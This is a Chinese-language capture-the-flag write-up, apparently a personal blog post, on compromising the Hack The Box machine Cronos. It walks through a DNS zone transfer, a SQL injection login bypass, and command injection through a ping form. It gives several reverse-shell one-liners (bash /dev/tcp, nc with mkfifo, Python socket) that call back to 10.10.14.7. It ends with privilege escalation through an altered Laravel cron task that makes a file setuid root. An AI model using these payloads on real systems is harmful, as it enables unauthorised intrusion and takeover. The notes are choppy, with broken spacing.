Discovered open port 22 /tcp on 10.10.10.13 Discovered open port 53 /udp on 10.10.10.13 Discovered open port 80 /tcp on 10.10.10.13 Discovered open port 53 /tcp on 10.10.10.13 53 /tcp open domain ISC BIND 9 .10 .3 -P4 (Ubuntu Linux)
web http:// 10.10 .10.13 / nikto -h 10.10 .10.13 > nikto.txt gobuster -u http:// 10.10 .10.13 -w /usr/ share/wordlists/ dirbuster/directory-list-2.3 -medium.txt
domain search domain bin
80web页面除了apache默认配置一无所获,
echo 10.10.10.13 Cronos.htb >> /etc/hosts
以前遇到过这种情况,目标网站只允许通过域名访问。cronos.htb是猜测的域名。
访问http://Cronos.htb,成功列出内容。
gobuster -u http://Cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
searchsploit laravel
找不到attack vector
writeup dns 查询工具 参考资料:如何使用区域传送?
dig @server name type dig @10 .10.10 .13 axfr cronos.htb
axfr是dns记录的类型,A记录 代表主机记录,域名 <–>IP 映射
NS记录,给出一个域名,查由哪些域名服务器进行解析。诸如此类。
dig查询结果 cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb. 604800 IN NS ns1.cronos.htb. cronos.htb. 604800 IN A 10.10.10.13 admin.cronos.htb. 604800 IN A 10.10.10.13 ns1.cronos.htb. 604800 IN A 10.10.10.13 www.cronos.htb. 604800 IN A 10.10.10.13 cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
echo 10.10.10.13 admin.cronos.htb >> /etc/hosts
访问http://admin.cronos.htb,发现一个登陆表单。
burp抓包,发现是明文
手动尝试一次:Your Login Name or Password is invalid
sqlmap尝试注入:sqlmap -r 1.req -p username –batch
sqlmap -r 1.req -p password –batch
gobuster -u http://admin.cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
wapiti -u http://admin.cronos.htb/
echo 10.10 .10.13 www.cronos .htb >> /etc/hosts echo 10.10 .10.13 ns1.cronos .htb >> /etc/hosts ns1.cronos .htb www.cronos .htb
nothing useful
admin’ or ‘1’=’1 123456
到此为止,思路十分清晰,命令执行漏洞。 ping -c 1 ip
Kioptrix Level 2(命令执行漏洞)
获得一个shell nc为openbsd版本,无-e选项。
bash无-i选项。
选择用php-reverse-shell.php
command=ping+-c+1&host=8.8.8.8|chmod +x php-reverse-shell.php
修改command=ping+-c+1&host=8.8.8.8
后面的命令。
bash -i >& /dev/tcp/10.10.14.7/888 0>&1
wget http://10.10.14.7:8000/php-reverse-shell.php
chmod +x php-reverse-shell.php
./php-reverse-shell.php
python -c ‘import pty; pty.spawn(“/bin/bash”)’
方法二: kali: nc -lnvp 6677
command=ping+-c+1&host=8.8.8.8|chmod +x php-reverse-shell.php
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 6677| >/tmp/f
burp repeater——选中上述命令——ctl+U进行url编码
虽然反弹了shell,但是会自动退出
方法三 方便快捷
nc -lnvp 6677 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7" ,6677 ));os.dup2 (s.fileno(),0 ); os.dup2 (s.fileno(),1 ); os.dup2 (s.fileno(),2 );p=subprocess.call(["/bin/sh" ,"-i" ]);'
提权 内核漏洞提权(failed) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 uname -a Linux cronos 4.4 .0 -72 -generic searchsploit linux 4.4 .0 1 . Linux Kernel 4.4 .0 (Ubuntu 14.04 /16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalat 2 . Linux Kernel 4.4 .0 (Ubuntu) - DCCP Double-Free Privilege Escalation 3 . Linux Kernel < 4.4 .0 -116 (Ubuntu 16.04 .4 ) - Local Privilege Escalation 4 . Linux Kernel < 4.4 .0 -83 / < 4.8 .0 -58 (Ubuntu 14.04 /16.04) - Local Privilege Escalation (KASLR gcc -h the program 'gcc' is currently not installed. --- cat /etc/passwd | grep home ps -ef | grep root root 1083 1 0 Mar15 ? 00 :00:00 /usr/sbin/cron -f
mysql 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 /var/www/admin /config.phpadmin kEjdbRigfBHUREiNSDs mysql -h localhost -u admin -p 输入密码show databases; information_schema admin use information_schema;show tables ; use admin ;show tables ; usersselect * from users; | 1 | admin | 4 f5fffa7b2340178a716e3832451e058 select VERSION();5.7 .17 -0 ubuntu0.16 .04 .2
获得了一串密文,4f5fffa7b2340178a716e3832451e058 不知道明文是不是kEjdbRigfBHUREiNSDs。
如果是,那就不用破解了;如果不是,那就可以尝试su root,用mysql中获取的口令。
md5在线加密kEjdbRigfBHUREiNSDs
,经过对比,发现不是。
WTF,竟然要我掏钱。
crontab crontab定时任务
在linux中,每个用户都有自己的cron job。只要在文本中写入条目,linux就会定时运行该任务。
cron的格式:
分钟
小时
天
月份
工作日
命令
解释
02
*
*
*
*
/home/xx/xx.sh
每天每小时的第二分钟执行脚本xx.sh
00
5,6,7
*
*
*
/home/xx/xx.sh
每天的第5,6,7小时的0分,执行脚本xx.sh
crontab -l crontab -e 打开用户的cron job.
root 1102 1 0 10:35 ? 00:00:00 /usr/sbin/cron -f
通过上传LinEnum.sh,运行后发现,可以尝试破解密文。
Kernel.php find / -name Kernel.php 2>/dev/null
/var/www/laravel/app/Console/Kernel.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php namespace App \Console ;use Illuminate \Console \Scheduling \Schedule ;use Illuminate \Foundation \Console \Kernel as ConsoleKernel ;class Kernel extends ConsoleKernel { protected $commands = [ ]; protected function schedule (Schedule $schedule ) { $schedule ->exec('chown root:root /tmp/shell;chmod 4777 /tmp/shell' )->everyMinute(); } protected function commands ( ) { require base_path('routes/console.php' ); } }
curl http://10.10.14.7/cat -o shell
将本地的cat二进制文件发送到目标机,保存为/tmp/shell。
稍等片刻,约一分钟左右,该文件为suid权限。 运行该文件,即可以root权限查看/root/root.txt
总结 进一步加深认识了suid权限。
其中,尝试将netcat写入/tmp/shell,尝试将python脚本写入/tmp/shell,都以失败告终。
只有编译的程序才可以使用root权限。
bash script and python script即使有suid权限,运行的命令也不是root权限。